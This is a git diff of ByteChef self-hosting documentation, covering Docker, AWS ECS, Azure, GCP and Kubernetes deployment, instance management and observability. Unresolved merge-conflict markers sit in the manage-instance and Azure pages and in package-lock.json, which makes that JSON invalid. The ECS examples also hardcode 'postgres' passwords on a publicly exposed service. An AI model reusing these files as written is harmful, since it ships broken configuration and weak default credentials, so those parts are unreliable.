 | `BYTECHEF_WEBHOOK_URL` | Webhook URL | `BYTECHEF_PUBLIC_URL/webhooks/{id}` |
 
-## Observability Configuration
+## Tracing Configuration
 
 | Environment Variable | Description | Default Value |
 |---|---|---|
-| `BYTECHEF_OBSERVABILITY_ENABLED` | Enable or disable OTel metrics, logging and tracing | `false` |
+| `BYTECHEF_TRACING_OTLP_ENDPOINT` | OpenTelemetry endpoint | `http://localhost:4318/v1/traces` |
 
 ## Worker Configuration
 
@@ -250,4 +257,4 @@ System administrator is used for accessing protected data reachable through /act
 | `BYTECHEF_WORKFLOW_REPOSITORY_GIT_USERNAME` | Git username (sensitive) | - |
 | `BYTECHEF_WORKFLOW_REPOSITORY_GIT_PASSWORD` | Git password (sensitive) | - |
 | `BYTECHEF_WORKFLOW_REPOSITORY_GIT_SEARCH_PATHS` | Git search paths | - |
-| `BYTECHEF_WORKFLOW_REPOSITORY_JDBC_ENABLED` | Enable JDBC repository | `true` |
+| `BYTECHEF_WORKFLOW_REPOSITORY_JDBC_ENABLED` | Enable JDBC repository | `true` |
\ No newline at end of file
diff --git a/docs/content/docs/self-hosting/configuration/manage-instance.md b/docs/content/docs/self-hosting/configuration/manage-instance.md
index aaead5f0248..dc9cf1242f7 100644
--- a/docs/content/docs/self-hosting/configuration/manage-instance.md
+++ b/docs/content/docs/self-hosting/configuration/manage-instance.md
@@ -1,8 +1,287 @@
 ---
+description: "ByteChef Manage Instance. Manage and maintain your ByteChef instance configuration, monitoring, and operations."
 title: Manage Instance
-description: Learn how to manage your ByteChef instance
 ---
 
-# Coming Soon
+<<<<<<< HEAD
+In this section, we will explore the self-hosted ByteChef instance management credentials, for configuring and monitoring your self-hosted ByteChef deployment instance.
 
+## Deployment Information
+
+The deployment type shows whether you're running on Docker, Kubernetes, or another platform. This helps you identify which commands and configuration methods apply to your setup.
+
+The version number indicates which ByteChef release you have installed - it's important when checking for updates or troubleshooting issues.
+
+Database connectivity status shows whether ByteChef can reach your PostgreSQL database. A good connection with databases is needed for all operations.
+
+## Observability
+
+ByteChef provides comprehensive observability features for monitoring your instance through metrics, logs, and distributed traces. With the proper configuration, you gain insight into system performance, application behavior, and request flows across components.
+
+### Metrics
+
+By including the following dependencies we have enabled metrics in the ByteChef server:
+
+```
+implementation("org.springframework.boot:spring-boot-actuator")
+implementation("io.micrometer:micrometer-registry-prometheus")
+```
+
+Spring Boot Actuator, using Micrometer, generates a predefined set of metrics. The Micrometer Prometheus registry formats these metrics into a Prometheus readable format. Such metrics are available on the `/actuator/prometheus` endpoint. For gathering and processing metrics data, we use Prometheus; its development configuration can be found in [prometheus-dev.yml](https://github.com/bytechefhq/bytechef/tree/master/server/ee/docker/prometheus/prometheus-dev.yml).
+
+
+### Logs
+
+We use Loki to aggregate and store logs. Logs are sent to Loki by `Loki4jAppender`, which is configured in [logback-spring.xml](https://github.com/bytechefhq/bytechef/blob/master/server/libs/config/logback-config/src/main/resources/logback-spring.xml).
+
+Loki’s URL is defined via the Spring property `bytechef.observability.loki.appender.http.url`. Additionally, log level sent to Loki is controlled via `bytechef.observability.loki.appender.level`, for example:
+
+```
+bytechef:
+  observability:
+    loki:
+      appender:
+        level: "ALL"
+        http:
+          url: http://localhost:3100/loki/api/v1/push
+```
+
+In `logback-spring.xml`, Loki indexing labels are defined, letting you efficiently filter logs by `applicationName`, `host`, `traceID`, and `level`. Loki’s development configuration is defined in [loki-dev.yml](https://github.com/bytechefhq/bytechef/blob/master/server/ee/docker/loki/loki-dev.yml).
+
+### Traces
+
+Traces allow us to follow a request as it traverses ByteChef components. Tracing is enabled by including:
+
+```
+implementation("io.micrometer:micrometer-tracing-bridge-otel")
+implementation("io.opentelemetry:opentelemetry-exporter-otlp")
+```
+
+`micrometer-tracing-bridge-otel` bridges the Micrometer Observation API to OpenTelemetry format, while `opentelemetry-exporter-otlp` reports traces to a collector that accepts OTLP. Tempo is used as the tracing backend, with its development configuration in [tempo-dev.yml](https://github.com/bytechefhq/bytechef/blob/master/server/ee/docker/tempo/tempo-dev.yml).
+
+
+### Grafana
+
+We use Grafana to visualize data from the observability backends. Grafana is available locally at [http://localhost:3000/explore](http://localhost:3000/explore).
+
+#### Start up Grafana
+
+1. Navigate to `server/ee/docker`
+2. Run:
+```
+docker-compose -f monitoring.yml up
+```
+3. Enable observability features in ByteChef by starting the server with the Spring property `bytechef.observability.enabled` set to `true`. 
+### Health Check Endpoints
+
+Monitor instance health through these Spring Boot Actuator endpoints:
+
+**Liveness:**
+
+```
+http://localhost:8080/actuator/health/liveness
+```
+Running this command helps indicate if the application is running
+
+**Readiness:**
+
+```
+http://localhost:8080/actuator/health/readiness
+```
+
+This command helps to check if the application is ready to accept traffic
+
+**General Health:**
+
+```
+http://localhost:8080/actuator/health
+```
+
+Running this command helps check the overall health status
+
+These endpoints are used by Kubernetes liveness and readiness probes to manage pod lifecycle.
+
+## Deployment Management
+
+In this section we will dive into how to manage your ByteChef deployment configuration instances.
+
+### Docker Deployment
+
+If running ByteChef with Docker or Docker Compose:
+
+**View Current Configuration:**
+
+```
+docker inspect bytechef
+```
+
+**View Environment Variables:**
+
+```
+docker exec bytechef env | grep BYTECHEF
+```
+
+**Restart Instance:**
+
+```
+# Docker Compose
+docker-compose restart bytechef
+
+# Docker
+docker restart bytechef
+```
+
+**View Logs:**
+
+```
+# Docker Compose
+docker-compose logs -f bytechef
+
+# Docker
+docker logs -f bytechef
+```
+
+### Kubernetes Deployment
+
+If running ByteChef on Kubernetes:
+
+**View Current Configuration:**
+
+```
+kubectl get deployment bytechef -o yaml
+```
+
+**View Environment Variables:**
+
+```
+# From ConfigMap
+kubectl get configmap bytechef-envs -o yaml
+
+# From Secret
+kubectl get secret bytechef-secrets -o yaml
+```
+
+**Restart Instance:**
+
+```
+kubectl rollout restart deployment/bytechef
+```
+
+**View Logs:**
+
+```
+kubectl logs -f deployment/bytechef
+```
+
+**Check Pod Status:**
+
+```
+kubectl get pods -l app=bytechef
+```
+
+## Instance Actions
+
+### Restart Instance
+
+Some configuration changes require restarting ByteChef.
+
+**When to Restart:**
+
+* Database connection changes
+* Encryption provider changes
+* Feature flag modifications
+* Network URL changes
+* Observability settings
+
+**Docker:**
+
+```
+docker restart bytechef
+```
+
+**Kubernetes:**
+
+```
+kubectl rollout restart deployment/bytechef
+```
+
+### View Logs
+
+Access real-time logs from your ByteChef instance.
+
+**Docker:**
+
+```
+# Follow logs
+docker logs -f bytechef
+
+# Last 100 lines
+docker logs --tail 100 bytechef
+
+# Logs since timestamp
+docker logs --since 2024-01-27T10:00:00 bytechef
+```
+
+**Kubernetes:**
+
+```
+# Follow logs
+kubectl logs -f deployment/bytechef
+
+# Last 100 lines
+kubectl logs --tail=100 deployment/bytechef
+
+# Previous instance logs (after crash)
+kubectl logs --previous deployment/bytechef
+```
+
+## Troubleshooting
+
+### Database Connection Failed
+
+Check database connectivity:
+
+```
+# Docker
+docker exec bytechef nc -zv postgres 5432
+
+# Kubernetes
+kubectl exec deployment/bytechef -- nc -zv postgres 5432
+```
+
+### Email Not Sending
+
+Verify mail configuration:
+
+```
+docker exec bytechef env | grep BYTECHEF_MAIL
+```
+
+### OAuth Callbacks Failing
+
+Verify OAuth callback URL:
+
+```
+echo $BYTECHEF_OAUTH_CALLBACK_URL
+```
+
+Ensure the URL is:
+
+* Publicly accessible
+* Whitelisted in OAuth provider settings
+* Using HTTPS (if required by provider)
+
+### Instance Not Starting
+
+Check logs for errors:
+
+```
+# Docker
+docker logs bytechef
+
+# Kubernetes
+kubectl logs deployment/bytechef
+```
+=======
 Documentation for managing your ByteChef instance is coming soon. Please check back later!
+>>>>>>> 002576c3f5 (docs: Update Docker deployment documentation and clean up files)
diff --git a/docs/content/docs/self-hosting/deployment/aws-ec2.md b/docs/content/docs/self-hosting/deployment/aws-ec2.md
index f8e159373ed..c10bb41bd7a 100644
--- a/docs/content/docs/self-hosting/deployment/aws-ec2.md
+++ b/docs/content/docs/self-hosting/deployment/aws-ec2.md
@@ -1,8 +1,8 @@
 ---
+description: "ByteChef on AWS EC2. Deploy and manage ByteChef applications on Amazon EC2 instances."
 title: AWS EC2
-description: Learn how to deploy ByteChef on AWS EC2
 ---
 
-# Coming Soon
+__AWS EC2__ is a self-hosted instance for running ByteChef in cloud-hosted self-managed environments. It provides scalable compute capacity, reliable infrastructure, and flexible deployment options while maintaining full control over your ByteChef instance.
 
-Documentation for deploying on AWS EC2 is coming soon. Please check back later!
\ No newline at end of file
+ByteChef supports deployment on EC2 using the [Docker](/self-hosting/deployment/local-docker) self-hosted instance. This guide covers EC2 instance setup, security configuration, and ByteChef deployment steps.
diff --git a/docs/content/docs/self-hosting/deployment/aws-ec3.md b/docs/content/docs/self-hosting/deployment/aws-ec3.md
deleted file mode 100644
index bfb01c6c399..00000000000
--- a/docs/content/docs/self-hosting/deployment/aws-ec3.md
+++ /dev/null
@@ -1,8 +0,0 @@
----
-title: AWS EC3
-description: Learn how to deploy ByteChef on AWS EC3
----
-
-# Coming Soon
-
-Documentation for deploying on AWS EC3 is coming soon. Please check back later!
\ No newline at end of file
diff --git a/docs/content/docs/self-hosting/deployment/aws-ecs.md b/docs/content/docs/self-hosting/deployment/aws-ecs.md
new file mode 100644
index 00000000000..af0450c132c
--- /dev/null
+++ b/docs/content/docs/self-hosting/deployment/aws-ecs.md
@@ -0,0 +1,215 @@
+---
+description: "ByteChef AWS ECS usage guide. Deploy and manage ByteChef using Amazon Elastic Container Service."
+title: AWS ECS
+---
+
+[AWS ECS](https://aws.amazon.com/ecs/) is a container orchestration tool from AWS you can use to run ByteChef in self-hosted cloud environments. It provides automatic scaling, integrated load balancing, and simplified container deployment while maintaining full control over your ByteChef instance.
+
+ByteChef deploys on AWS ECS using [ByteChef's Docker](https://hub.docker.com/r/bytechef/bytechef) image with [AWS Fargate](https://aws.amazon.com/fargate/) (serverless) or EC2 launch types. This guide uses Fargate for simplified infrastructure management.
+
+## Prerequisites
+
+Ensure you have the following:
+
+* An AWS account with ECS access permissions
+* [AWS CLI](https://aws.amazon.com/cli/) installed and configured on your system
+* Basic knowledge of AWS Console and container concepts
+
+## Getting Started with ByteChef
+
+- Create the ECS cluster:
+
+```shell
+aws ecs create-cluster --cluster-name bytechef-cluster
+```
+
+- Register the PostgreSQL task definition:
+
+```shell
+aws ecs register-task-definition \
+  --family bytechef-postgres \
+  --requires-compatibilities FARGATE \
+  --network-mode awsvpc \
+  --cpu 1024 \
+  --memory 2048 \
+  --container-definitions '[
+    {
+      "name": "postgres",
+      "image": "postgres:16-alpine",
+      "essential": true,
+      "portMappings": [{"containerPort": 5432}],
+      "environment": [
+        {"name": "POSTGRES_USER", "value": "postgres"},
+        {"name": "POSTGRES_PASSWORD", "value": "postgres"},
+        {"name": "POSTGRES_DB", "value": "bytechef"}
+      ]
+    }
+  ]'
+```
+
+- Register the ByteChef task definition:
+
+```shell
+aws ecs register-task-definition \
+  --family bytechef-app \
+  --requires-compatibilities FARGATE \
+  --network-mode awsvpc \
+  --cpu 2048 \
+  --memory 4096 \
+  --container-definitions '[
+    {
+      "name": "bytechef",
+      "image": "docker.bytechef.io/bytechef/bytechef:latest",
+      "essential": true,
+      "portMappings": [{"containerPort": 8080}],
+      "environment": [
+        {"name": "BYTECHEF_DATASOURCE_URL", "value": "jdbc:postgresql://postgres-service.local:5432/bytechef"},
+        {"name": "BYTECHEF_DATASOURCE_USERNAME", "value": "postgres"},
+        {"name": "BYTECHEF_DATASOURCE_PASSWORD", "value": "postgres"}
+      ]
+    }
+  ]'
+```
+
+- Create the ECS services (replace subnet and security group IDs):
+
+```shell
+aws ecs create-service \
+  --cluster bytechef-cluster \
+  --service-name postgres \
+  --task-definition bytechef-postgres \
+  --desired-count 1 \
+  --launch-type FARGATE \
+  --network-configuration "awsvpcConfiguration={subnets=[subnet-xxx],securityGroups=[sg-xxx]}"
+
+aws ecs create-service \
+  --cluster bytechef-cluster \
+  --service-name bytechef \
+  --task-definition bytechef-app \
+  --desired-count 1 \
+  --launch-type FARGATE \
+  --network-configuration "awsvpcConfiguration={subnets=[subnet-xxx],securityGroups=[sg-xxx],assignPublicIp=ENABLED}"
+```
+
+This workflow accomplishes the following:
+
+* Creates an ECS cluster for ByteChef services
+* Deploys PostgreSQL as a persistent service for data retention
+* Launches the ByteChef application with port `8080` exposed
+* Configures Fargate tasks with 2 vCPU and 4 GB RAM for stable operation
+* Assigns public IP to ByteChef for external access
+
+After the services start, find the ByteChef task's public IP in the ECS Console and access ByteChef at: `http://PUBLIC_IP:8080`
+
+## PostgreSQL Configuration
+
+ByteChef stores all credentials, workflows, and run history in PostgreSQL. The default ECS deployment includes a PostgreSQL container.
+
+> **Warning**:
+> Ensure proper EFS or EBS volumes are configured for PostgreSQL persistence. Losing your task storage will result in data loss. For production, it's best to use AWS RDS for PostgreSQL instead of containerized databases.
+
+To connect to an external PostgreSQL server (such as AWS RDS), update the ByteChef task definition:
+
+```json
+{
+  "environment": [
+    {
+      "name": "BYTECHEF_DATASOURCE_URL",
+      "value": "jdbc:postgresql://your-rds-endpoint:5432/bytechef"
+    },
+    {
+      "name": "BYTECHEF_DATASOURCE_USERNAME",
+      "value": "postgres"
+    },
+    {
+      "name": "BYTECHEF_DATASOURCE_PASSWORD",
+      "value": "your_password"
+    }
+  ]
+}
+```
+
+Full ECS deployment examples for PostgreSQL are in the [ByteChef GitHub repository](https://github.com/bytechefhq/bytechef).
+
+## Upgrading ByteChef
+
+To deploy a newer version, update the task definition and force a new deployment:
+
+```shell
+aws ecs register-task-definition \
+  --family bytechef-app \
+  --requires-compatibilities FARGATE \
+  --network-mode awsvpc \
+  --cpu 2048 \
+  --memory 4096 \
+  --container-definitions '[
+    {
+      "name": "bytechef",
+      "image": "docker.bytechef.io/bytechef/bytechef:latest",
+      "essential": true,
+      "portMappings": [{"containerPort": 8080}],
+      "environment": [
+        {"name": "BYTECHEF_DATASOURCE_URL", "value": "jdbc:postgresql://postgres-service.local:5432/bytechef"},
+        {"name": "BYTECHEF_DATASOURCE_USERNAME", "value": "postgres"},
+        {"name": "BYTECHEF_DATASOURCE_PASSWORD", "value": "postgres"}
+      ]
+    }
+  ]'
+
+aws ecs update-service \
+  --cluster bytechef-cluster \
+  --service bytechef \
+  --task-definition bytechef-app \
+  --force-new-deployment
+```
+
+This upgrade process:
+
+* Updates the task definition with the new image tag
+* Forces a new deployment with the updated task
+* Ensures the latest version is running
+
+### Upgrading with Task Definition Revisions
+
+When managing ByteChef via ECS task definitions:
+
+```shell
+aws ecs register-task-definition \
+  --family bytechef-app \
+  --requires-compatibilities FARGATE \
+  --network-mode awsvpc \
+  --cpu 2048 \
+  --memory 4096 \
+  --container-definitions '[
+    {
+      "name": "bytechef",
+      "image": "docker.bytechef.io/bytechef/bytechef:latest",
+      "essential": true,
+      "portMappings": [{"containerPort": 8080}],
+      "environment": [
+        {"name": "BYTECHEF_DATASOURCE_URL", "value": "jdbc:postgresql://postgres-service.local:5432/bytechef"},
+        {"name": "BYTECHEF_DATASOURCE_USERNAME", "value": "postgres"},
+        {"name": "BYTECHEF_DATASOURCE_PASSWORD", "value": "postgres"}
+      ]
+    }
+  ]'
+
+aws ecs update-service \
+  --cluster bytechef-cluster \
+  --service bytechef \
+  --task-definition bytechef-app:NEW_REVISION
+
+aws ecs describe-services --cluster bytechef-cluster --services bytechef
+```
+
+This revision management process:
+
+* Registers a new task definition revision
+* Updates the service to use the new revision
+* Monitors the deployment status
+
+## Next Steps
+
+* Review [ByteChef configuration options](/self-hosting/configuration/environment-variables)
+* Check out the [Kubernetes setup](/self-hosting/deployment/kubernetes)
+* Build your [initial automation](/automation)
\ No newline at end of file
diff --git a/docs/content/docs/self-hosting/deployment/azure.md b/docs/content/docs/self-hosting/deployment/azure.md
index 7c8706f5f56..22c6e74ab58 100644
--- a/docs/content/docs/self-hosting/deployment/azure.md
+++ b/docs/content/docs/self-hosting/deployment/azure.md
@@ -1,8 +1,192 @@
 ---
+description: "ByteChef on Azure. Deploy and manage ByteChef on Microsoft Azure cloud platform."
 title: Azure
-description: Learn how to deploy ByteChef on Microsoft Azure
 ---
 
-# Coming Soon
+<<<<<<< HEAD
+__Microsoft Azure__ is a self-hosted instance for running ByteChef. Just like other innstannces, it provides scalable compute capacity and flexible deployment while maintaining full control over your ByteChef instance.
 
-Documentation for deploying on Microsoft Azure is coming soon. Please check back later!
\ No newline at end of file
+ByteChef supports deployment on Azure using __Docker__. This guide covers Azure's self-hosted instance setup and security configuration.
+
+> **Warning**
+> 
+>ByteChef requires at least **4 GB RAM (Standard_B2s instance)** for stable operation. Smaller instances will crash frequently.
+
+## Prerequisites
+
+* Azure account with Virtual Machines access
+* SSH key pair for instance access
+* Basic familiarity with Azure Portal
+
+## Quick Start
+
+<Steps>
+
+### Launch Azure Virtual Machine
+
+1. Go to [Azure Portal](https://portal.azure.com)
+2. Navigate to __Virtual Machines__ and Click __"Create" → "Azure virtual machine"__
+3. Configure:
+   - __Virtual machine name:__ bytechef-server
+   - __Image:__ Ubuntu Server 22.04 LTS
+   - __Size:__ Standard_B2s (4 GB RAM minimum)
+   - __Authentication type:__ SSH public key
+   - __Username:__ azureuser
+   - __SSH public key source:__ Generate new or use existing
+   - __Public inbound ports:__ SSH (22), HTTP (80), HTTPS (443)
+   - Click __"Review + create"__ → __"Create"__
+
+### Add Firewall Rule for ByteChef Port
+
+1. In your VM resource, go to __Networking__ → __Network settings__
+2. Click __"Create port rule" → "Inbound port rule"__
+3. Configure:
+   - __Destination port ranges:__ 8080
+   - __Protocol:__ TCP
+   - __Name:__ Allow-ByteChef-8080
+4. Click __"Add"__
+
+### Connect to Instance
+
+Set key permissions to ensure secure access:
+
+```bash
+chmod 400 ~/Downloads/bytechef-key.pem
+```
+
+Connect to your Azure VM using SSH:
+
+```bash
+ssh -i ~/Downloads/bytechef-key.pem azureuser@YOUR_PUBLIC_IP
+```
+
+### Install Docker
+
+Download the Docker installation script:
+
+```bash
+curl -fsSL https://get.docker.com -o get-docker.sh
+```
+
+Run the Docker installation script:
+
+```bash
+sudo sh get-docker.sh
+```
+
+Add your user to the docker group to run Docker without sudo:
+
+```bash
+sudo usermod -aG docker azureuser
+```
+
+Download the latest version of Docker Compose:
+
+```bash
+sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
+```
+
+Make Docker Compose executable:
+
+```bash
+sudo chmod +x /usr/local/bin/docker-compose
+```
+
+Log out to apply the new group permissions:
+
+```bash
+exit
+```
+
+Note: After logging out, you'll need to log back in for the docker group permissions to take effect.
+
+### Deploy ByteChef
+
+Reconnect via SSH, then:
+
+Download the ByteChef docker-compose configuration file:
+
+```bash
+curl -O https://raw.githubusercontent.com/bytechefhq/bytechef/master/docker-compose.yml
+```
+
+Start the ByteChef containers in detached mode:
+
+```bash
+docker compose up -d
+```
+
+### Access ByteChef
+
+Visit: `http://YOUR_PUBLIC_IP:8080`
+
+</Steps>
+
+## Instance Requirements
+
+| Use Case | VM Size | RAM | Monthly Cost |
+|----------|---------|-----|--------------|
+| Testing/Development | Standard_B2s | 4 GB | ~$30 |
+| Production | Standard_B2ms | 8 GB | ~$60 |
+
+<Callout type="error">
+Do not use Standard_B1s, Standard_B1ms, or any VM with less than 4 GB RAM. These instances have insufficient memory and will crash.
+</Callout>
+
+## Managing ByteChef
+
+For detailed Docker commands and configuration, refer to the __[Docker documentation](/self-hosting/deployment/local-docker)__.
+
+Common commands:
+
+Common Docker Compose commands:
+
+```bash
+# Start
+docker compose up -d
+
+# Stop
+docker compose down
+
+# View logs
+docker compose logs -f
+
+# Restart
+docker compose restart
+```
+
+## Production Setup
+
+### Reserve Static IP
+
+Prevent IP changes when stopping/restarting:
+
+1. Azure Portal → __Public IP addresses__ → Find your VM's IP
+2. Click on the IP address resource
+3. Go to __Configuration__
+4. Change __Assignment__ from __Dynamic__ to __Static__
+5. Click __"Save"__
+
+### Optional: Configure SSL 
+
+To configure SSL for HTTPS access, follow these steps:
+
+- Install Nginx and Certbot:
+
+```bash
+sudo apt install nginx certbot python3-certbot-nginx -y
+```
+
+- Get SSL certificate:
+```bash
+sudo certbot --nginx -d your-domain.com
+```
+
+## Next Steps
+
+* Review __[Docker configuration](/self-hosting/deployment/local-docker)__ for detailed Docker setup
+* Configure __[PostgreSQL](/self-hosting/deployment/local-docker#postgresql-configuration)__ for production use
+* Explore __[Kubernetes](/self-hosting/deployment/kubernetes)__ for high availability deployments
+=======
+Documentation for deploying on Microsoft Azure is coming soon. Please check back later!
+>>>>>>> 002576c3f5 (docs: Update Docker deployment documentation and clean up files)
diff --git a/docs/content/docs/self-hosting/deployment/digitalocean.md b/docs/content/docs/self-hosting/deployment/digitalocean.md
index 6cbb271e83f..4378d6f0d3e 100644
--- a/docs/content/docs/self-hosting/deployment/digitalocean.md
+++ b/docs/content/docs/self-hosting/deployment/digitalocean.md
@@ -1,8 +1,6 @@
 ---
+description: "ByteChef on DigitalOcean. Deploy and configure ByteChef instances on DigitalOcean platform."
 title: DigitalOcean
-description: Learn how to deploy ByteChef on DigitalOcean's cloud platform
 ---
 
-# Coming Soon
-
 Documentation for deploying on DigitalOcean is coming soon. Please check back later!
\ No newline at end of file
diff --git a/docs/content/docs/self-hosting/deployment/google-cloud.md b/docs/content/docs/self-hosting/deployment/google-cloud.md
index a20cb50539d..7e9f1e1555a 100644
--- a/docs/content/docs/self-hosting/deployment/google-cloud.md
+++ b/docs/content/docs/self-hosting/deployment/google-cloud.md
@@ -1,8 +1,8 @@
 ---
-title: Google Cloud
-description: Learn how to deploy ByteChef on Google Cloud Platform
+description: "ByteChef on Google Cloud. Deploy ByteChef on Google Cloud Platform with comprehensive guides."
+title: Google Cloud Platform
 ---
 
-# Coming Soon
+__Google Cloud Platform (GCP)__ is a self-hosted instance for running ByteChef in cloud-hosted self-managed environments. It provides scalable compute capacity, reliable infrastructure, and flexible deployment options while maintaining full control over your ByteChef instance.
 
-Documentation for deploying on Google Cloud Platform is coming soon. Please check back later!
\ No newline at end of file
+Just like other instances, ByteChef also supports deployment on GCP using __Docker__ and __Docker Compose__. This guide covers Compute Engine instance setup, security configuration, and ByteChef deployment steps.
diff --git a/docs/content/docs/self-hosting/deployment/kubernetes.md b/docs/content/docs/self-hosting/deployment/kubernetes.md
index bfe39eb6a16..5675c1b4d8d 100644
--- a/docs/content/docs/self-hosting/deployment/kubernetes.md
+++ b/docs/content/docs/self-hosting/deployment/kubernetes.md
@@ -1,8 +1,16 @@
 ---
+description: "ByteChef Kubernetes Deployment. Learn how to deploy and manage ByteChef clusters on Kubernetes platforms."
 title: Kubernetes
-description: Deploy ByteChef on Kubernetes
 ---
 
-# Kubernetes
+Using [Kubernetes](https://kubernetes.io) (K8s) is a great way to run ByteChef in production self-hosted environments. It delivers automatic scaling, self-healing capabilities, and streamlines database and configuration handling.
 
-Coming soon...
+While ByteChef also supports [Helm](https://helm.sh/) for simplified deployments, we recommend using Kubernetes for production environments. Refer to the [Helm chart values](https://github.com/bytechefhq/bytechef/blob/master/kubernetes/helm/bytechef-monolith/values.yaml) in the ByteChef GitHub repository.
+
+### Prerequisites
+Ensure Kubernetes and Helm are installed on your system:
+- **kubectl** - Kubernetes command-line tool.
+- **Helm 3.x** - Package manager for Kubernetes.
+- **Kubernetes Cluster** - A running cluster (Docker Desktop, Minikube, or cloud providers like EKS, GKE, AKS).
+
+### Getting Started with ByteChef
diff --git a/docs/content/docs/self-hosting/deployment/local-docker.md b/docs/content/docs/self-hosting/deployment/local-docker.md
index 7b4e24fa94f..323c54a9a08 100644
--- a/docs/content/docs/self-hosting/deployment/local-docker.md
+++ b/docs/content/docs/self-hosting/deployment/local-docker.md
@@ -1,8 +1,96 @@
 ---
+description: "ByteChef Docker Usage. Deploy and manage ByteChef using Docker containers in your environment."
 title: Docker
-description: Run ByteChef locally with Docker
 ---
 
-# Local Docker
+[Docker](https://www.docker.com/) is a recommended approach for running ByteChef in self-hosted environments. It delivers an isolated runtime, prevents software conflicts across systems, and streamlines database and configuration handling.
 
-Coming soon...
+ByteChef also supports [Docker Compose](/deployment/docker-compose) for multi-container setups. Docker Compose examples are available in the [ByteChef GitHub repository](https://github.com/bytechefhq/bytechef).
+
+## Prerequisites
+
+Ensure Docker is installed on your system:
+
+* [Docker Desktop](https://docs.docker.com/get-docker/) works on Mac, Windows, and Linux. It bundles Docker Engine with Docker Compose.
+* For Linux systems, [Docker Engine](https://docs.docker.com/engine/install/) and Docker Compose can be installed separately. This approach suits headless servers or users preferring the command line.
+
+## Getting Started with ByteChef
+
+Execute the following commands in your terminal:
+
+```shell
+curl -O https://raw.githubusercontent.com/bytechefhq/bytechef/master/docker-compose.yml
+
+docker compose up
+```
+
+This workflow accomplishes the following:
+
+* Binds port `8080` from the container to your host system.
+* Initializes a PostgreSQL instance for data retention.
+* Performs initial database setup automatically.
+* Attaches the `postgres_data` volume to `/var/lib/postgresql/data` so your data remains intact after container restarts.
+
+After the container starts, access ByteChef at: [http://localhost:8080](http://localhost:8080)
+
+## PostgreSQL Configuration
+
+ByteChef stores all credentials, workflows, and run history in PostgreSQL. Docker Compose includes PostgreSQL out of the box.
+
+> **Warning**
+> 
+> Ensure the `postgres_data` volume is properly configured. Loss of this volume will result in data loss. The `postgres_data` volume preserves your workflows, credentials, and execution records between restarts.
+
+To connect to an external PostgreSQL server, update your `docker-compose.yml`:
+
+```yaml
+bytechef:
+  environment:
+    BYTECHEF_DATASOURCE_URL: jdbc:postgresql://your-host:5432/bytechef
+    BYTECHEF_DATASOURCE_USERNAME: postgres
+    BYTECHEF_DATASOURCE_PASSWORD: your_password
+```
+
+Full Docker Compose samples for PostgreSQL are in the [ByteChef GitHub repository](https://github.com/bytechefhq/bytechef/blob/master/docker-compose.yml).
+
+## Upgrading ByteChef
+
+To deploy a newer version, fetch the updated image and relaunch:
+
+```shell
+# Fetch the current version
+docker pull docker.bytechef.io/bytechef/bytechef:latest
+
+# Or get a specific release
+docker pull docker.bytechef.io/bytechef/bytechef:1.0.0
+
+# Shut down existing containers
+docker compose down
+
+# Launch with the new version
+docker compose up -d
+```
+
+### Upgrading with Docker Compose
+
+When managing ByteChef via Docker Compose:
+
+```shell
+# Go to your compose directory
+cd /path/to/your/compose/file
+
+# Download latest images
+docker compose pull
+
+# Halt and clean up running containers
+docker compose down
+
+# Restart with fresh images
+docker compose up -d
+```
+
+## Next steps
+
+* Review [ByteChef configuration options](/self-hosting/configuration/environment-variables)
+* Check out [Kubernetes setup](/self-hosting/deployment/kubernetes)
+* Build your [initial automation](/automation)
\ No newline at end of file
diff --git a/docs/content/docs/self-hosting/meta.json b/docs/content/docs/self-hosting/meta.json
index 59af86f461a..43dda233476 100644
--- a/docs/content/docs/self-hosting/meta.json
+++ b/docs/content/docs/self-hosting/meta.json
@@ -11,11 +11,11 @@
     "deployment/docker",
     "deployment/kubernetes",
     "deployment/aws-ec2",
-    "deployment/aws-ec3",
-    "deployment/azures",
+    "deployment/aws-ecs",
+    "deployment/azure",
     "deployment/google-cloud",
     "deployment/digitalocean",
-    "---Manage Insatance---",
+    "---Manage Instance---",
     "configuration/configure-instance",
     "configuration/environment-variables",
     "configuration/manage-instance"
diff --git a/docs/package-lock.json b/docs/package-lock.json
index e3b64b20e66..8c022257ca9 100644
--- a/docs/package-lock.json
+++ b/docs/package-lock.json
@@ -41,11 +41,18 @@
         "mermaid": "^11.12.2",
         "next": "16.0.8",
         "next-themes": "^0.4.6",
+<<<<<<< HEAD
+        "octokit": "^5.0.3",
+        "posthog-js": "^1.270.1",
+        "react": "^19.1.1",
+        "react-dom": "^19.1.1",
+=======
         "octokit": "^5.0.5",
         "oxc-transform": "^0.106.0",
         "posthog-js": "^1.313.0",
         "react": "^19.2.3",
         "react-dom": "^19.2.3",
+>>>>>>> origin/master
         "react-force-graph-2d": "^1.29.0",
         "react-remove-scroll": "^2.7.2",
         "rehype-katex": "^7.0.1",
@@ -73,6 +80,15 @@
         "@types/hast": "^3.0.4",
         "@types/mdast": "^4.0.4",
         "@types/mdx": "^2.0.13",
+<<<<<<< HEAD
+        "@types/node": "22.18.8",
+        "@types/react": "^19.1.17",
+        "@types/react-dom": "^19.1.11",
+        "algoliasearch": "5.39.0",
+        "bun": "^1.2.23",
+        "eslint": "^9",
+        "eslint-config-next": "15.5.4",
+=======
         "@types/node": "25.0.3",
         "@types/react": "^19.2.7",
         "@types/react-dom": "^19.2.3",
@@ -82,6 +98,7 @@
         "bun": "^1.3.5",
         "gray-matter": "^4.0.3",
         "mcp-handler": "^1.0.4",
+>>>>>>> origin/master
         "next-validate-link": "^1.6.3",
         "postcss": "^8.5.6",
         "shadcn": "3.6.2",
diff --git a/docs/public/Architecture_Diagram.png b/docs/public/Architecture_Diagram.png
new file mode 100644
index 00000000000..bf275fd365f
Binary files /dev/null and b/docs/public/Architecture_Diagram.png differ
diff --git a/docs/public/BranchComponent.png b/docs/public/BranchComponent.png
new file mode 100644
index 00000000000..27ca52b7f3f
Binary files /dev/null and b/docs/public/BranchComponent.png differ
diff --git a/docs/public/branchexample.png b/docs/public/branchexample.png
new file mode 100644
index 00000000000..7cb28f05937
Binary files /dev/null and b/docs/public/branchexample.png differ
diff --git a/gradle.properties b/gradle.properties
index 90b1fcf7c12..5b9ac9dab81 100644
--- a/gradle.properties
+++ b/gradle.properties
@@ -1,5 +1,5 @@
-bytechefVersion=0.1.14-SNAPSHOT
-bytechefImageVersion=1.1.14-SNAPSHOT
+bytechefVersion=0.1.12-SNAPSHOT
+bytechefImageVersion=1.1.12-SNAPSHOT
 
 ## below are some of the gradle performance improvement settings that can be used as required, these are not enabled by default
 
